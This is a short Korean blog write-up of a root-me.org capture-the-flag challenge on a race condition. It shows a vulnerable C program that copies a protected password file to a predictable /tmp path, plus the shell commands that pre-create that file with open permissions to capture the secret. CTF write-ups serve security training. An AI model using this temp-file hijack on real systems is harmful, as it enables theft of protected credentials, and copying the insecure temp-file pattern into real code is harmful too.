[root-me.org] ELF x86 - Race condition Write-Up

두비니

·

2019. 11. 5. 08:47

::Login::

Host challenge02.root-me.org
Protocol SSH
Port 2222
SSH access ssh -p 2222 app-systeme-ch12@challenge02.root-me.org     WebSSH
Username app-systeme-ch12
Password app-systeme-ch12

 

 

::Code::

#include <stdio.h>
#include <string.h>
#include <sys/ptrace.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
 
#define PASSWORD "/challenge/app-systeme/ch12/.passwd"
#define TMP_FILE "/tmp/tmp_file.txt"
 
int main(void)
{
  int fd_tmp, fd_rd;
  char ch;
 
 
  if (ptrace(PTRACE_TRACEME, 0, 1, 0) < 0)
    {
      printf("[-] Don't use a debugguer !\n");
      abort();
    }
  if((fd_tmp = open(TMP_FILE, O_WRONLY | O_CREAT, 0444)) == -1)
    {
      perror("[-] Can't create tmp file ");
      goto end;
    }
   
  if((fd_rd = open(PASSWORD, O_RDONLY)) == -1)
    {
      perror("[-] Can't open file ");
      goto end;
    }
   
  while(read(fd_rd, &ch, 1) == 1)
    {
      write(fd_tmp, &ch, 1);
    }
  close(fd_rd);
  close(fd_tmp);
  usleep(250000);
end:
  unlink(TMP_FILE);
   
  return 0;
}

 

 

보면 tmp폴더 안에있는 tmp_file이라는 곳에 복사를 해주는데, 이에 대해서 그 어떤 권한이나 접속을 허용하지 않습니다.

이때 미리 파일을 만들어두면 프로그램 종료 뒤에도 사라지지 않는다는 점을 이용해 풀도록 하겠습니다.

 

 

app-systeme-ch12@challenge02:~$ cd /tmp
app-systeme-ch12@challenge02:/tmp$ vi tmp_file.txt
app-systeme-ch12@challenge02:/tmp$ chmod 777 tmp_file.txt

다음처럼 한 다음 파일을 직접 확인해보거나 grep명령어를 통해 바로 확인할 수 있네요

 

 

 

Yeah!